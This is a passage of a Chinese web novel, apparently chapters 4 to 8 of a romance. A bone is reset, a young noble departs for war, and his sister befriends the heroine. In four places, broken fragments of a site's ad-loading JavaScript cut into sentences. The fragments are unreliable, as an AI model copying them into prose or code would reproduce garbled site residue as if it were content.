孙家老太爷为尚药局奉御,全面掌管调和御药及诊疗。景璃来见的是孙家的嫡长孙孙仲,医术精湛、尤善疮科,被孙奉御当做接班人培养。 这两人相识多年,关系很好。 孙仲面对景璃的突然造访很意外:“你不是明日就要启程,怎么来这里,有事派人来叫我一声不就成了。” 景璃没有多余的精力同他寒暄,提起孙仲的药箱就往外走:“随我去看个病人。” 等到了姜家,孙仲一脸严肃:“这骨接得有问题。” 楚悦这才知道,坊里的大夫并没有将楚昕的腿骨完全对正。当然他并非故意,实则是能力有限,大夫也看不出自己的手法有问题。 楚悦的心紧紧揪着:“现在该怎么办?” 孙仲公事公办:“骨血已经在生长,只能打断重连。” 楚昕的脸都白了,他不后悔替姐姐挡了那一下,但并不意味着他就不怕疼。 “姐。”楚昕看着姐姐,垮下脸, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想哭。 楚昕心疼地摸摸他的头,但这种事可大可小,若是处理不当后果不堪设想,她问孙仲:“若是不打断重连,后果会如何?” 孙仲看了景璃一眼,只能实话实说:“若是放任不管,骨折处还会继续肿胀、化脓,严重者甚至会危机性命;当然,运气好的话不会出现那样的问题,只会导致长短腿。“ 楚昕不想死,也不想一条腿场一条腿短,抱着视死如归的决心擦干眼泪:“重新接吧。” 发现得早,孙仲技术高超,接骨还算顺利,一直守在一旁的景璃递上夹板。 孙仲帮楚昕给缠好并交待:“不可再像之前那样让家人帮着四处走动,至少卧床七日后才能下床。” 知道了严重性,楚昕疼得脸都白了,再也不敢掉以轻心。 楚悦姐弟俩真诚向孙仲和景璃致意。 人是景璃请来的,他替楚悦将人送出去,并请求孙仲:“我不在京城时,你去国公府请平安脉时,也来这边看看。” 孙仲朝景璃投去惊讶的目光。 与景璃相识多年,孙仲从为见过他会主动与女子走得近,更不曾听说他认识这样一对重孝在身的姐弟。 对上孙仲好奇的目光,景璃坦然开口:“之前受过世叔的恩惠,如今他不在了,我理应常来看看。” 他真正受的是阿悦的恩,但这是他一个人的秘密,不方便让任何人知晓。 孙仲应下。 他与景璃是知交,景璃既然开口,那他就义不容辞。 其实他第一下想到的,是景璃这样上心为的是这家姑娘,看年纪姑娘已经及笄,动情丝很正常。 但他很快否定了这个念头,景璃并非这红尘中的俗人,必定不会那样肤浅。 必定如他所说,这里住的是景璃恩人的子女,报恩罢了。 景璃返回去姜家,很容易就在门口看见那道怎么都不可能忘掉的身影。 她在等他。 因为在孝期,这姑娘穿着一身白衣,乌黑柔软的长发服帖地垂在身后,她个人就如同周遭未经侵扰的雪,纯净又安静。 景璃的目光扫过她光洁的额头,小巧的琼鼻,软润的唇瓣,最后停在她那双澄澈清明的眼上。 在遇见她之前,他从未对女子动过心。 更别说这样光明正大看过她。 第一眼见到她时就知道,她很漂亮。虽然她那时尚未长开,巴掌大的小脸掩在雪白的狐裘里,用那双小鹿一般纯净的眸子羞怯地看着他。 事实证明,初见的印象准确而深刻,她果然越发出落得标致。 可惜他那时从未给过她回应,甚至故意将人越推越远。 姑娘看过来了,景璃攥攥垂在身侧的手,慢慢靠近。 发现他又用那种看不懂的眼神看自己了,热意不由自主漫上姑娘纤细白皙的脖颈。 楚悦在被他看出来前垂下眸子,他今日的确反常,但她还不至于荒唐到认为他对她有超乎熟人之外的心思。 深吸一口气,楚悦提起正事:“世,世子之前说,有事需要我帮忙,不知,世子需要我做什么?” 5. 第 5 章 第5章 景璃看着姑娘红嫩的耳垂:“我明日就要随大军离开,但放不下阿萱,想请阿悦方便的时候陪陪她。” 楚悦震惊:“萱姑娘?” 之前同住一个坊,加上楚悦偷偷关注着景璃,对定国公府的情况也知道一些。 说起来,景璃的命运也有些坎坷。 当年叛军逼近京城时,景璃尚在襁褓之中,先皇率领大臣和官眷离开京城避险,国公府男人留下来抵御叛军,女眷和孩子随着先帝一道。 只不过叛军来势汹汹,逼得大臣和官眷死的死逃的逃,离开国公府的女眷和孩子有十几人。 五年后,官眷陆续返回京城,国公府归来的妇孺只剩四人。 不到六岁的景璃,国公府的老夫人,国公夫人,即景璃的生母,以及景璃的堂妹景萱。 与此同时,景璃的父亲定国公带着两个弟弟一路追随着当初还是太子的圣上,景璃的两个叔父战死。 苦战三年后,太子率军赶走外敌并夺回京城,定国公与国公府的女眷也失联三年,所有人都以为她们和其他大臣的亲眷一样死在了逃离京城的途中,经太子做主,景璃的父亲娶了对他有救命之恩的医女。 所以,等景璃母子再度回到京城时,国公府不仅有了新的女主人,还有了新世子。 景璃八岁那年,其母旧疾复发身故。同年西戎又开始蠢蠢欲动,定国公奔赴战场,新夫人同太医署的医馆跟随,两人至今下落不明。 于是,偌大的国公府只剩下老夫人,景璃二叔的遗腹女景萱,以及他同父异母弟弟景琮。 且景萱有些特殊,据说是在返回京城的途中受了刺激,从那以后便再也无法开口说话。 景璃的目光落在姑娘因为惊讶格外明亮的葡萄眼上:“是,阿萱胆子小,更没有闺中好友。她对你印象很好,若是可以,想请你关照一二。” 原来是因为萱姑娘,他突然这样反常也能理解了。 若是她要远行,必定也放不下阿昕的。 楚悦刚到京城时见过萱姑娘一次,很漂亮的姑娘,因为不会说话,只能自己待在角落里。 但她没想到萱姑娘对她印象很好,有些受宠若惊。 不过,他如何得知萱姑娘对她印象很好,他们会在私下提到她么? 面色微微有些发烫,楚悦:“不知世子希望我如何做?” 景璃:“她若来找你,你陪她坐坐便可。” 楚悦想不通景萱会在什么样的情形下来找她,按理说这种事他应该去请姚沁帮忙,可能有不得已的苦衷吧。 楚悦很愿意回报他,不过自家的情况特殊,楚悦觉得有必要提醒下他:“我当然欢迎萱姑娘,只是倘若私下来往,不知会不会影响你们,影响到国公府?” 景璃的眸光意味不明闪烁了下。 朝中的事太复杂,但此时他根基未稳,有些事还得长远筹谋。 沉住气,景璃温声开口:“王爷对社稷有大功,这是不争的事实,真相自会水落石出,无人敢苛责你们。” 心像是突然被人拨动了下,猝不及防地,楚悦眼前有些模糊。 自爹爹出事后,除了姜爷爷姜婆婆,其他人都对他们兄妹避之不及,生怕惹上祸端,还是第一次有人明明白白告诉她,爹爹不是罪人。 眨眨眼,楚悦压下鼻间的酸涩:“世子相信父王是无辜的?” 景璃动了动手指,想替姑娘拭去眼角的泪,但门口有人在看,忍住了:“放心吧,朝中自有正直公允之人,定会还王爷清白。” 他的态度太过笃定,加上她的确期待那样,楚悦就很愿意相信他。 冷静下来,楚悦为刚才突然落泪有些难为情,不好意思看他:“世子放心,萱姑娘那里,我知道该如何做。” 这次若不是有他,弟弟的腿极有可能耽搁,对于他说的帮忙,她一定会用心。 * 时间就是这样,以稳定的速度不疾不徐过去,并不因任何人停留。 已是晌午,景璃还有安排,不能一直在这里待下去。 有那么些瞬间,他甚至想找借口不去战场。 但很快否定了这样的念头。 前世因为叛徒将大晋的布防及作战计划一股脑透露给西戎,那一仗打得很惨烈,主帅被俘,将士死伤无数,边地民不聊生。 最终,大晋与西戎和谈,两国决定和亲。 但是,原定和亲的人是公主,最后踏上了和亲之路的人却成了她。 西戎并非诚心和亲,只是等和亲的队伍一到,拿大晋的将帅与公主的鲜血祭旗,以此表明与大晋决裂的决心,以此来联合一旁观望的周边部落。 边境安稳,朝廷与民众才安稳,既然知晓前世的战局,最好的办法是亲自去结束那一场动荡,这是身为武将的职责。 返回去取回护心镜,景璃与楚悦在门口道别。 这一别之后就再也见不到了吧,思及此,楚悦不由自主追随那道越来越远的身影。 不料,他回头了。 楚悦匆忙转身。 但景璃还是看见了,还看到了一双慌忙躲闪的眼,微微泛红。 这姑娘啊…… 景璃重新回到楚悦面前。 天已放晴,但偶尔会有一阵清风吹过,微微吹乱的姑娘及腰的长发。 这姑娘心思细腻,他一直担心表现得太热切会吓到她。 景璃低头,小心挑起姑娘散落在肩头的长发,轻轻替她别在耳后:“阿悦放心吧,等我回来。” 他的声音不大,但楚悦每一个字都听见了。 她像是被人施了定身术一样楞在原地,她听到了什么,是她误会了什么吗? 茫然抬头,猝不及防对上一双深邃的眼,眼底有她从未见过的温柔。 “等我回来。” 他又说话了,这一回楚悦不仅听清楚了,还看到了蕴藏在他眼底的笑意。 楚悦的心扑通直跳。 所以,是她以为的那种意思吗? 余光中有人路过,景璃不动声色后退两步,但毫不掩饰眸中的温柔:“回去吧,阿悦放心,一切都会好起来。” 楚悦满脑子都是他离开时的话,进了院子,她靠在墙上平复许久,才终于恢复正常。 * 重逢令人欢喜,景璃并未完全失去理智。 有了前世的记忆,许多事情就不一样,启程前他得重新安排。 回到澹明堂,姚沁带着丫鬟来了,在门口和长安周旋。 看到景 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 璃手里的包袱,姚沁不高兴:“那姐弟俩又来缠你了?” 景璃示意长安退下,冷冷看姚沁一眼。 姚沁的呼吸一窒。 不知为何,感觉今日的景璃比起昨天又冷酷了些,还多了不耐烦。 想起楚悦那张脸,姚沁咬唇,在就近的凳子上坐下:“湘王的案子至今悬而未决,为了国公府,表哥还是与他们少些牵扯吧。” 景璃当着姚沁的面打开包袱。 姚沁本性不坏,只是没吃过苦头,不懂事。 从前他顾及姑姑的面子,一向冷处理,等她知难而退。 时间紧迫,他没有那么多耐心。 景璃轻启薄唇:“你年纪不小了,趁年底亲友间走动得频繁,让姑母给你挑个可心的郎子,早日嫁了吧。” 姚沁的脸刷地红了。 他明知道她的心思! 一生气,心里的话脱口而出:“表哥难道不知,我想嫁的从头到尾只有你。” 景璃反问她:“你觉得,我若想让你进国公府,会让你等到这一日?” 亲戚一场,景璃绝了她最后的念想:“别打歪主意,若不嫌麻烦,我不介意随你去见姑母。” 哇地一声,姚沁哭着离开了澹明堂。 什么人啊,一点都不懂得怜香惜玉。 姚沁离开没多久,长安带着景萱来了。 景萱今年十七岁,比他小一岁半,对于这个堂妹,景璃一向很爱护。 景萱并非天生不会说话,她四周岁那日,二婶带着他们俩去给景萱买生辰之礼,回家途中被一伙穷凶极恶的人贩子遇上。 二婶将他们俩藏在草垛里,求他们不要出声,自己活生生被人贩子打死。 目睹母亲死在她面前,景萱便再也不能开口说话。 前世景萱成过亲,但她口不能言,在夫家吃尽暗亏,后来在他的干预下,景萱和离回到国公府。 但他的傻妹妹想拖累他,年纪轻轻就遁入空门。 见景萱挎着个包袱,景璃好奇:“给我的?” 景萱微笑点点头,将包袱放在案几上打开,比划着告诉他,她听说西边比京城冷且干燥,亲手给景璃制作了四对护膝,预备了满满两大罐防冻伤皴裂的脂膏。 这是妹妹的心意,景璃让长安收起来放入行囊。 屋里只有兄妹俩了,景萱目含担忧看向景璃,用手语告诉他她看见姚沁哭了,问怎么回事。 “她没事,不用管她。” 小姑娘不懂什么是情爱,只是信了大人的话,以为嫁入国公府风光,上没有婆婆,下午复杂的人情往来。 等她遇到对的人就会将这些忘了。 景璃引着景萱来到炕床旁,兄妹俩面对面坐好。 景萱惊讶发现,在外人看来不近人情的大哥面上现出一丝不自在。 “怎么了?”景萱弯起来眼睛,比划着问他。 思前想后,景璃实在找不到更加可靠的人,他诚挚开口:“我不在京城这段时日,想请你帮我关照个人。” 不可能是姚沁,更不可能是视大哥为眼中钉的二弟景琮。 大哥来请她,对方必定是女子。 景萱好奇得紧,平日里沉静内敛的眸子格外明亮:“是谁?” 6. 第 6 章 第6章 “宁安郡主,你见过的。” 闻言,景萱激动地站起来。 大哥快二十了,没有通房,也不让丫鬟在屋里伺候。 她从未见过大哥对哪个女子另眼相待,有时会偷偷发愁,大哥不会像某些不正经的话本里那样,他中意的并非女子吧。 摇摇头,景萱终于可以彻底将这个荒谬的念头从脑海里赶出,重新坐下来。 因为兴奋,连打手势的速度都快上许多:“大哥心仪楚姑娘?” 两世为人,景璃还是第一次与人谈论他的私情,且这人还是自己的妹妹。 景萱惊喜地发现,大哥的耳根悄悄红了。 景萱心里高兴,白皙的面颊上漾出两个小小的梨涡,笑着比划:“大哥也真是的,为何不早些告诉我,早些告诉我我也可以找机会将郡主请来坐坐。” 景璃:“她性子单纯,并不知晓我的心意,莫要惊扰她。” 他心仪的姑娘同别的女孩子不一样,敏感又细腻,如今并非挑明一切的好时机。 可他实在不放心。 景萱抿了唇笑。 自家大哥长得确实很英俊,可他平日里看严肃,所以大家都怕他。 但大哥动心是好事,景萱连连保证:“大哥放心,我有分寸。” 她告诉景璃,她对楚悦印象很好。 那一年元宵去宫里赏灯,她迷路了,比她还小上两岁的楚姑娘看出了她的窘迫,贴心将她带到祖母跟前。 好不容易等到哥哥红鸾星动,当妹妹的自然要添一份助力。 * 交代好一切,景璃去了趟东市,并在坊门关闭前进了延贤坊。 京城夜里宵禁,朝廷严禁民众在坊门关闭后在大街上行走,但并不限制大伙在坊内行动。 入了夜,延贤坊中心很热闹。 这里住的多是靠着西市讨生活的百姓,结束一日的忙碌,有人回家,有人呼朋引伴进酒肆,有的要上一碟瓜子一壶茶,坐进茶馆。 景璃就是在这蓬勃的烟火气中走入延贤坊中心地带的客栈。 天亮了,楚悦穿好衣裳,习惯性走到窗前开窗透气。 开窗的时候,楚悦意外发现,窗台上静静躺着个细长的物件,且左下角的窗纸上破了个宽约寸余的洞,这物件看起来像是被人从外面塞进来的。 楚悦拿起来打开,里头是一根莹润的葡萄白玉簪,水头很好,而包裹簪子的棉布很普通,蓝色的底,隐隐透着白色的纹样,边缘发毛,一看就是从更大的棉布上撕下来的。 楚悦顿时感觉手里的簪子烫手。 这棉布她倒是熟悉得很,不久前才用来包裹过软甲。 热意倏地漫上脸颊,楚悦的心里也跟着发烫,他到底是什么意思。 托她关照萱姑娘的谢礼吗? 哪个正常人会用簪子当谢礼啊。 院子里传来动静,楚悦透过窗户看到了姜婆婆从倒座房里走出来,朝厨房的方向去了。 楚悦也冷静下来,将簪子包好,收入衣柜里。 因为知道不可能,所以她不会因为景璃这一日的反常就认为他对她有某种心思,他那样的人,怎么看也不像会将儿女情长放在心上。 他这样做要么另有目的,要么不知这样的举动的含义。 * 时间就过得飞快,等楚昕的腿伤痊愈,景璃已离开三个多月。 与西戎相持多年,前线还是头一次这样频繁传来捷报,朝堂上下都沉浸在喜悦里,导致今年上巳节都比往年热闹。 春光正好,但楚悦姐弟还有一年出孝,不方便出门。 用过早膳,去城外挖荠菜的老两口,篮子里装满一篮子荠菜。 对平民百姓而言,荠菜是个好东西,鲜嫩的荠菜用水汆后拌在粥饭里,又是一道时鲜;条件好些的人家,会取荠菜煮鸡蛋;若是对吃不感兴趣,倘若晒干了送去药房,也能多一笔收入。 天刚亮,姜爷爷和姜婆婆就带着干粮在坊门口等着了,等坊门一开,义无反顾奔赴属于这一日的战场。 姜婆婆满载而归,姜爷爷也不遑多让,背了一大捆捡来的柴火。 接过姜婆婆的手里的竹篮放在地上,楚悦去帮姜爷爷卸柴,楚昕也有样学样,姐弟俩同老爷子一起将整整一大捆柴放在地上。 今日天气好,楚悦去厨房里给两位老人舀来两碗水,楚昕搬来放在厨房廊下的小杌子,递给老夫妻。 老夫妻看着忙碌的姐弟俩,对视一眼,露出苦笑。 本是金尊玉贵的姑娘公子,如今连伺候的丫鬟小厮都没有,凡事都需要亲力亲为。 可他们年纪大了,行动也没有之前利索,时常有心也无力。 姜婆婆接了碗,用另一只手握住楚悦的手,眼里满是怜惜:“我与你姜爷爷不累,权当是活动筋骨了,倒是你,钱银的事不用操心,你容姨之前托人捎来的银子还有呢,我都攒着,足够咱们生活,也足够去霖州的盘缠。” 姜婆婆口中的蓉姑姑是老两口的女儿姜容。 姜婆婆原本是楚悦外祖母的婢女,两人成亲后只得了一个女儿,姜容比楚悦的母亲姜菱小两岁,当初随姜菱夫妇去了霖州。 之后,经姜菱做主,姜容嫁给了霖州的一个秀才,后来做了霖州府下的一个县令,姜容婚后生了三子二女。 楚悦不用想也知道,容姨一家也会受到自家牵连,以容姨的孝顺,她不会不管年迈的父母,让人捎来的钱一次比一次少。 若没有那场意外,父母早就计划带着老两口去霖州与女儿一家团聚,可惜 归根到底,还是他们姐弟俩打扰了老两口安享晚年,也给容姨带去了负担。 暂时无力回报,楚悦默默将这份恩情记下,她提起装满荠菜的篮子,准备去择菜。 但被姜婆婆叫住。 楚悦来到老人身侧,就见姜婆婆笑眯眯掀开盖在篮子上的粗布,取出一把荠菜花。 老人精心挑出其中最精神的一从,在楚悦因为守孝毫无钗饰的发间比划:“在你外祖母的家乡江南,姑娘们会在这一日用荠菜花簪发,能避灾祈福呢,姑娘也簪上,必定能顺顺当当的。” 既是老人的祝愿,楚悦微微蹲下身子,方便老人替她簪在发间。 “真好看。” 老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人满意地看着自己的成果。 但归根到底还是因为小姑娘漂亮,只是一从小小的白花,开在墨绸一般的发间,也能有夺人心魄的惊艳。 楚悦抿了唇笑,簪好花,一老一少说着话厨房里走,门口突然传来叩门声。 “我来。” 一老一少望向声音传来的方向,就看到原本在搬柴的楚昕如离弦的箭一般冲到门口。 楚悦:“……” 姜婆婆接过楚悦手里的篮子,看着楚悦笑:“我来吧,姑娘也去看看吧。” 楚悦点点头。 自景璃离开京城后,家中便多了两个客人。 一位是太医署的孙仲,逢三休沐之日都会来看看楚昕的伤势;一位是景璃的堂妹景萱,初一十五会来她这里坐坐。 不用想,孙仲是受了景璃之托来关看楚昕;至于景萱,那是景璃有托于她,两个人都不能懈怠。 但孙仲上次离开时说楚昕的腿伤已经痊愈,且今日上巳,是与亲友出行的好日子,楚悦以为孙仲不会来了的,故而完全没有准备。 不动声色理了理仪容,楚悦也去迎接客人。 下一瞬,就听到了楚昕惊讶的声音:“萱姐姐,孙大哥。”半大小子口无遮拦:“你们怎么一起来了?” 楚悦循声看过去,果然在门口看到两道熟悉的身影。 她心里有和楚昕一样的疑问,他们俩怎么会一同前来? 楚悦加快步伐,就看见孙仲笑着和楚昕解释:“不是一起来了,赶巧碰上了。” 来往过几次,几人不似刚开始那样生疏,楚悦提醒楚昕:“堵在门口做什么,还不将客人请进来。” 楚昕不好意思挠挠头:“萱姐姐请,孙大哥请。” 两人还是之前那样,孙仲是一个人来的,背着药箱;景萱则带着贴身丫鬟兰心,以及景璃的护卫长安。 长安第一次来时楚悦很好奇,长安是景璃的贴身护卫,竟然没有跟景璃一起去战场。 怎么安排下属是景璃的自由,楚悦没好意思问。 但景萱却是个细心的人,虽然不会说话,却能看出她的疑问。 丫鬟兰心景萱解释:“世子不放心我家姑娘,于是特意将长安留下来,让姑娘外出时陪着姑娘。” 楚悦明白了,景璃这人虽然看着冷,对妹妹很上心,为了让妹妹有与人来往的勇气,甚至不惜托到她这个与景萱仅有一面之缘的人,他的确是个好兄长。 她也就提醒自己,对待景萱要打起十二分的精神。 不动声色看了眼和景萱站在一起的楚悦。 因为在守孝,姑娘未施粉黛,只有几朵小白花在发间随风摇颤,姑娘的皮肤白皙,一双葡萄眼纯净又明亮,只是站在那里,光是看着就赏心悦目。更难得的是,她的性子比她的样貌更加令人舒心。 他很庆幸那日景璃将他叫过来。 孙仲叫住楚昕:“去你屋里,我看看你的伤。” 楚昕脱口而出:“你上次不是说我的腿已经痊愈了吗?” 这傻孩子,声音这么大,孙仲的唇角抽了抽:“你是大夫还是我是大夫,听你的还是听我的?” 7. 第 7 章 到了房里,楚昕接过孙仲的药箱后坐下,自觉将裤腿挽起来。 孙仲回头看了眼院里,摸着下巴问楚昕:“楚姑娘和景姑娘?” 楚昕点头:“姐姐和萱姐姐很投缘,两人会相约着见面。” 腿都晾半天了,见他在床边来回晃荡不来看自己,楚昕:“不是要看我的伤?” 孙仲只好收回目光,来到楚昕身边。 景萱这人,性子别扭又孤僻,尤其对他有偏见。 有她在,必定会向楚姑娘说他的坏话。 楚昕低头看了眼自己的小腿,不得不再次提醒他:“孙大哥,到底怎么样?” 再这样搓下去,腿都得搓红不可。 孙仲尴尬一笑:“腿没有问题,但有一个问题你得注意。” 楚昕的心顿时提起来。 在他心里,孙仲是个很随和的人,见他语气严肃,不由得有些紧张:“有什么问题?” “你身子太弱。” 闻言,楚昕看着自己细弱的手臂,长长叹了口气。 他是天生体弱,就算能吃能睡,也比同龄的男孩子瘦弱。 爹爹也给他请过师父,但他就是学不会,就算勉强去练武,不仅四肢各忙各的,通常还会以生病结束。 他不喜欢这样。 上次和姐姐遇到地痞,倘若他强健些,或者跑得快些,也不至于那样被动。 孙仲没想到这句话会令他这样沮丧,连忙补救:“你也不必太过忧心,胖瘦本就是天生的,不如这样,我教你养生之法,只要练习得当,多少也能弥补。” 楚昕的眼睛顿时亮了。 爹娘还在世时,也想过诸多办法来增强他的体质,但是无果。 有之前正骨的交情在,本着死马当活马医的原则,楚昕灿然一笑:“那就劳烦孙大哥了。” 孙仲亲手帮楚昕将裤管放下:“你既唤我一声大哥,这么客气做什么。” 两人商量好还是老规矩,休沐的时候,孙仲前来叫楚昕养生之法。 天气很好,春日的暖阳不冷不热,景萱提议,干脆就在院子里晒太阳。 于是,孙仲和楚昕出来的时候,楚悦已经请长安将厨房里的方桌和条凳搬在院子里的槐花树下。 楚悦从厨房里取来姜婆婆新煮的鸡蛋,景萱则指挥着兰心将带来的点心一样一样摆出来。 景萱热情地给楚昕打手势,让他品尝点心。 楚昕没想太多,像景萱之前来的几次一样,大大方方地接了。 结结实实吃完一整个桃花酥,楚昕给景萱竖了个大拇指:“萱姐姐真厉害,这次做的比上次的更好。” 景萱心虚笑笑。 后落座的孙仲看到桌上的点心一愣,看向对面的景萱。 景萱骗人。 她十指不沾阳春水,最爱的是看各种乱七八糟的话本,才不会做劳什子桃花酥。 景萱毫不客气看回去。 别以为她看不懂孙仲看楚悦的眼神。 且不说楚悦是哥哥的意中人,就算不是,也不能让孙仲胡来。这人就是个登徒子,专挑漂亮的喜欢,今日中意这个,明日爱慕那个,最是见异思迁。 四目相对,彼此从对方眼里看出了警告之意,但彼此都心知肚明,如今并非挑明的最佳时刻。 视线分开,景萱取了一块桂花糕给楚悦,孙仲呢,低头拿起一块精致的桃花酥,若有所思看起来。 楚昕看不懂这两人的暗中交锋,喜滋滋告诉楚悦他与孙仲的约定。 楚悦谢过景萱,闻言露出惊喜的表情,孙仲的本事她已经见识过,孙家可是出了三代奉御,若能由孙仲给弟弟调养那可就太好了。 孙仲很满意楚悦的反应。 用余光瞥一眼惊讶得说不出话来的景萱,孙仲挑眉一笑,用话堵住景萱的嘴:“楚姑娘不必谢我,要谢还得谢定国公世子,不过也算我与阿昕投缘,我看到他仿佛看到自家兄弟,既是兄弟,没有半途丢下不管的道理。” 楚悦的心中微微一烫。 她当然知道孙仲是因为景璃才会对楚昕另眼相待,但经他这样说出来,还是很难做到无动于衷。 但她很快恢复理智,相比平民百姓,身居高位者不需要太多成本就可以轻松表示他们的慷慨,景璃必定是看在她关照景萱的份上。 还有景萱,说自己没有朋友,回回连点心茶点都是自己带的,还一个劲地希望楚悦不要嫌弃她的手艺。 楚悦对景萱的贴心只有感激,又怎么会嫌弃她的手艺。 楚昕感动得不得了,一个劲往孙仲面前放各式糕点。 景萱看懂了孙仲的挑衅。 看看明显因孙仲这一番话害羞的楚悦,再看装模作样的孙仲,越发觉得后者一肚子坏水。 景萱急死了。 楚姑娘不知道大哥的心思,何况大哥还特意强调过,不能惊扰到楚姑娘。 就算她告诉楚姑娘大哥钟情她,恐怕楚姑娘也不会信。 与常年冷着一张脸、又远在天边的大哥相比,不明真相的姑娘家更容易被看起来英俊随和的孙仲骗。 轻轻扯扯楚悦的衣角,景萱和她比划:“若是阿昕想学强身健体之法,不如让长安来,长安随大哥摸爬滚打多年,胆大心细,又有扎扎实实的功夫在身;更何况长安不像孙太医有正事在身,他随时都能过来。” 孙仲早有准备,拿着桃花酥看了看,露出意味深长的笑容:“我受景兄所托,对阿昕有照顾之责,景姑娘就不必操心了。” 景萱咬唇,更讨厌孙仲了。 这人威胁她,若是她再阻止,他就要告诉楚姑娘这桃花酥是她买的。 虽说她并非故意拿买来的点心凑数,但景萱还是心虚,她不希望楚悦认为她是骗子。 此事告一段路,就算孙仲与景萱有意在楚悦面前隐瞒,楚悦也看出了两人之间不对劲。 等孙仲和楚昕一起帮姜爷爷劈柴去了,楚悦试着向景萱比划道:“孙太医让你不开心了?” 在楚悦看来,他们都是很好的人,但景萱是个漂亮又心善的女孩子,不会与人交恶,一定是孙太医有的地方做得不妥。 看着楚悦眼里满满的真诚,景萱先是一愣,随即胸膛里涌起满满的暖意。 身边的人都知道她能听得懂话,只是说不出口,于是,大伙都是直接 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和她说话,再通过兰心的转述来了解她的想法。 鲜少有人主动去了解她比划的那些是什么意思。 楚悦却不一样,相识以来,她一直在学习手语,譬如现在,她没有去叫兰心,而是试着直接同她沟通,她比划得很慢,真的很认真。 这样善良体贴的女子,难怪冷酷到不像不像正常人的大哥会喜欢。 与楚悦挨近些,虽然有背后议论人之嫌,景萱决定还是告诉楚悦她对孙仲的看法:“他这个人颇为花心,阿悦别太相信他的话。” 闻言,楚悦弯起眼睛。 自小在父母身边长大,她看过美好的情爱时什么模样,情窦初开之后当然会向往男女之情。 但向往归向往,经历过变故后的她明白,比情爱更重要的是,是先让心稳下来,考虑那些之前,至少先将日子理顺再说。 看一眼还在忙碌的孙仲,楚悦微笑向景萱比划:“多谢萱姑娘提醒,我明白的。” 孙仲若有所感回头。 当看到楚悦正慢慢向景萱比划,更有干劲。 他就知道,这姑娘第一眼看起来是漂亮,渐渐地就能发现她和别的漂亮姑娘不一样,没有倨傲也不故作矜持,连那么麻烦的手语都愿意去学。 景萱看到孙仲了,有楚悦表态,底气十足瞪回去。 孙仲:“……” 他有不好的预感,景萱一定在楚悦面前说他的坏话。 日头越来越高,快到午时了,一直在厨房里忙活的姜婆婆站在门口看了楚悦一眼。 楚悦心领神会,和景萱说了一声,起身去厨房。 姜婆婆已将挖回来的荠菜折好洗净,问楚悦:“要留客人用午饭吗?” 楚悦也有点不确定。 按照之前的惯例,孙仲和景萱都不会待太久,在午时前就会回去。 更何况今日是上巳,正常人都会同亲友有约,然而这两都没有要走的意思。 楚悦:“我去问问。” 结果出乎意料,当楚悦出于礼貌邀两人留下来用饭时,两人毫不迟疑应下。 楚悦:“……” 他们不是不对付吗? 楚悦还在愣神,景萱挽起楚悦的胳膊,兴致勃勃比划:“我这次来还有一件事,我们屋里说吧。” 孙仲意外看着两人离开的背影,一阵阵头疼。 景萱什么与人这样亲近了,看来她打算掺和到底了。 楚昕还在为有客人在而开心,见孙仲若有所思看着门口,抬手在他面前晃了晃:“孙大哥,你怎么了?” 孙仲扯出笑容:“没事。” 对于娶妻,他本来没有多急切,经景萱这样一搅合,反倒更势在必得。 将楚昕带到阳光充足的地方,孙仲:“来,今日先教你吐纳之法。” 另一边,姜老爷子被姜婆婆叫到厨房。 楚悦以为景萱要同她说女子之间的私房话,将她带到自己的房里,柔声开口:“萱姐姐想要同我说什么?” 景萱连连摆手,坚持让楚悦叫她萱姑娘。 虽说她是比楚悦大了两岁,因为大哥的缘故,她可不敢让楚悦叫她姐姐。 8. 第 8 章 景萱从袖中取出一本薄薄的册子:“有件事想请阿悦帮忙。” 楚悦好奇翻开,发现这竟是一本没有完成的话本。 楚悦惊讶:“这是你写的?” 景萱摇头,因为她喜欢看话本,于是悄悄入股了家给写话本的铺子,这铺子在京城小有名气。 这是她让人新写的,她很看好,想将话本里的人物和动人的场景绘出来,赚些口碑。 楚悦听得目瞪口呆,怎么也没有想到景萱私下有这样的营生。 景萱告诉楚悦这并不难,她只负责出主意,与铺子交接来往都由管事安排。 但管事告诉她,原定好的画师家中出事,回乡奔丧去了。 前年元宵,景萱在参加宫宴时见过楚悦送给太后的画作,也就想请她帮她。 景萱目光殷殷看着楚悦,恳求楚悦帮忙。 对正经闺秀而言,热衷于看话本还和话本铺子扯上关系毕竟不太入流,她不敢让其他人知道。 楚悦从未想过有朝一日她从爹爹那里学来的画技会用到这样的用途,面对景萱的请求,心软了。 景萱兴奋地比划:“太好了。” 并拿出钱袋子交给楚悦。 楚悦意外看着她。 景萱径直将钱袋子塞入楚悦手里,笑眯眯告诉她,这是置办画材和给楚悦的润笔费,不能因为她们二人相熟就让楚悦白忙活一场。 楚悦心里清楚,这是景萱的好意。 只要肯出钱,以定国公府的能力,什么样的画师找不到。 对楚悦而言,这一笔钱的确能帮便不再推辞。 心里暖暖的,楚悦大大方方接受了景萱的善意:“多谢萱姑娘。” 景萱松了口气。 来往这些天,她知道楚悦是什么样的人,心思细腻,自尊心又强,但她也想帮她改变处境。 左思右想,才想出这么个迂回之法。 约定好具体的事宜,两人重新回到院子里。 姜爷爷和楚昕都不在,只有孙仲背着手在桂花树下转悠。 楚悦看一眼身侧的景萱,问她要不要还是在她屋里歇息。 完成一桩大事,景萱心情好,说不用,让楚悦忙自己的。 楚悦去了趟厨房。 姜爷爷不在,楚昕在灶膛前烧火。 楚悦将钱袋子交给姜婆婆:“萱姑娘给我介绍了个作画的活,这是润笔费。” 姜婆婆不肯收,放下菜刀:“糊涂啊姑娘,女子的墨宝怎能随意流落出去,若是不小心落在有心人手里,招来是非怎么好。” 楚悦笑笑,姜婆婆还当她是郡主呢,生怕她委屈了,总是有各种说道。 楚悦柔声开口:“您放心吧,这些萱姑娘早就考虑过了,国公府的能力,婆婆有什么担心的。最主要的……”楚悦饱含感激看着姜婆婆,“我与阿昕都不想看到二老这样辛苦,之前是没有路子,如今有法子了,总得去试试。” 楚昕也不想姐姐抛头露面,但她更知道,凡事要听姐姐的。 楚悦态度坚定,加上楚昕一旁劝说,姜婆婆只好收下。 